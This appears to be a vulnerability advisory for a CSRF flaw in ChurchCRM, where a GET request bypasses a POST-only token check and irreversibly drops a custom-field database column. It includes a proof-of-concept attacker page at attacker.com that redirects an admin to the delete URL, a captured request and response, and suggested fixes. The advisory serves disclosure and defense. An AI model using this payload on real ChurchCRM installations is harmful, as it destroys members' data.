CVE-2026-94476churchcrm/crm Cross-Site Request Forgery (CSRF)
NVD
Vulnerability Summary
Summary `PersonCustomFieldsRowOps.php` implements a CSRF token check for the `delete` action, but wraps it in `if ($_SERVER['REQUEST_METHOD'] === 'POST')`. A GET request bypasses the guard entirely and executes `ALTER TABLE person_custom DROP IF EXISTS <field>`, permanently dropping the column from the database schema. Because `SameSite=Lax` cookies are sent on cross-site top-level GET navigations, an attacker can destroy any custom person field — including all data stored in that column — by tricking an authenticated administrator into visiting a malicious page. --- Root Cause File: `src/PersonCustomFieldsRowOps.php:55-89` ```php $sField = InputUtils::legacyFilterInput($_GET['Field'] ?? $_POST['Field'] ?? ''); $sAction = $_GET['Action'] ?? $_POST['Action'] ?? ''; // ... case 'delete': if ($_SERVER['REQUEST_METHOD'] === 'POST') { // <-- CSRF check POST-only if (!CSRFUtils::verifyRequest($_POST, 'deletePersonCustomField')) { http_response_code(403); die('Invalid CSRF token'); } } // GET reaches here unchecked: $customField->delete(); $sSQL = 'ALTER TABLE `person_custom` DROP IF EXISTS `' . $sField . '` ;'; RunQuery($sSQL); ``` The application does implement a CSRF check for this action, but the check is gated on `$_SERVER['REQUEST_METHOD'] === 'POST']`. A GET request — which browsers send with `SameSite=Lax` cookies on cross-site top-level navigations — bypasses the guard entirely. The deletion then executes two irreversible operations: deletes the metadata row from `person_custom_master` and drops the column from the `person_custom` table via raw SQL. --- Distinction from Related Finding (DonationFundRowOps.php) | Aspect | DonationFundRowOps.php | PersonCustomFieldsRowOps.php | | ------------------- | ----------------------- | ---------------------------------------------------------- | | CSRF check present? | No — missing entirely | Yes — but gated to POST only | | GET impact | Deletes a database row | Drops an entire database column (ALTER TABLE) | | Reversibility | Record can be recreated | Irreversible — column and all its data are gone | | CWE | CWE-352 | CWE-352 +CWE-650 | --- Steps to Reproduce Environment: ChurchCRM 7.6.0-dev, Apache 2.4.68, PHP 8.4.24 Step 1 — Precondition: admin is logged in, custom field exists Admin visits `PersonCustomFieldsEditor.php`. Custom field "POC_COL" (internal ID `c1`) is visible in the "Existing Custom Person Fields" list. <img width="1451" height="715" alt="Step1-check-field-POC_COL_exist" src="https://github.com/user-attachments/assets/3c320067-5d8a-4ba5-be8e-53e446f37c77" /> --- Step 2 — Attacker hosts malicious page Attacker hosts the following page at `http://attacker.com/`: ```html <script> window.location = "http://TARGET/PersonCustomFieldsRowOps.php?Action=delete&Field=c1"; </script> ``` `window.location` triggers a top-level navigation — browser sends the admin's `SameSite=Lax` session cookie cross-origin. No user interaction beyond page load is required. The CSRF check at line 57 (`if ($_SERVER['REQUEST_METHOD'] === 'POST')`) evaluates to false for GET — execution falls through directly to `$customField->delete()` and `ALTER TABLE`. <img width="1241" height="619" alt="Step2-user-access-attacker-site" src="https://github.com/user-attachments/assets/314d4c99-6b14-4e16-9c53-5597661511ec" /> --- Step 3 — Admin visits attacker page → column dropped When the admin's browser loads `http://attacker.com/`, JavaScript immediately navigates to the target URL. The server receives a GET request with the admin's session cookie and no CSRF token. Captured HTTP request: ``` GET /PersonCustomFieldsRowOps.php?Action=delete&Field=c1 HTTP/1.1 Host: 100.64.6.155:9080 Referer: http://attacker.com/ Cookie: CRM-bbcf07c2f36a2bb5e920ba2ea2cbacc8=60249c25864a79b50d02b63b3893926d ``` Response: ``` HTTP/1.1 302 Found Location: /PersonCustomFieldsEditor.php?deleted=1 X-Powered-By: PHP/8.4.24 Server: Apache/2.4.68 (Debian) ``` No CSRF token is present in the request. The server deletes the metadata row and executes `ALTER TABLE person_custom DROP IF EXISTS c1`, permanently destroying the column and all data it contained. <img width="1240" height="487" alt="Step3-user-delete-field-POC_COL" src="https://github.com/user-attachments/assets/fb544477-b53e-4d31-bac5-fb060c10aa94" /> --- Step 4 — Verification: field and column are gone Admin reloads `PersonCustomFieldsEditor.php`. The list now shows "No custom person fields have been added yet" — the custom field and its underlying database column no longer exist. <img width="1455" height="716" alt="Step4-field-POC_COL-deleted" src="https://github.com/user-attachments/assets/806b935b-be21-439e-968d-6d53a67963f5" /> --- Impact An unauthenticated attacker can permanently destroy any custom person field by sending the administrator a link (via email, chat, QR code, etc.). The impact is more severe than a typical CSRF data deletion because: 1. Data loss is irreversible — `ALTER TABLE … DROP COLUMN` cannot be undone without a database backup. 2. All records are affected — the column holds data for every person in the CRM database; dropping it wipes that data for all members at once. 3. Schema damage persists — the application will error on any subsequent query referencing the deleted column until the schema is manually repaired. --- Suggested Fix ```php // Option 1 — Reject GET for all state-changing operations (preferred) if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(405); exit('Method Not Allowed'); } if (!CSRFUtils::verifyRequest($_POST, 'deletePersonCustomField')) { http_response_code(403); die('Invalid CSRF token'); } // Option 2 — Accept token from both GET and POST if (!CSRFUtils::verifyRequest($_REQUEST, 'deletePersonCustomField')) { http_response_code(403); die('Invalid CSRF token'); } ``` The `CSRFUtils` class is already implemented and works correctly — the check simply must not be conditional on the HTTP method. --- Reporter - Researcher: Toan Le - Discovery date: 2026-08-01 - Disclosure: Responsible disclosure — 90 days from vendor notification
Affected & Patched Versions
- churchcrm/crm < 7.6.0
- churchcrm/crm 7.6.0
What to do
Fix it during your normal patch cycle. No exploitation is confirmed yet.
- Check whether you run churchcrm/crm and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Aug 14, 2026Published
- Aug 14, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new churchcrm/crm CVEsYou are reading CVE-2026-94476. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 24, 2026 08:00 UTC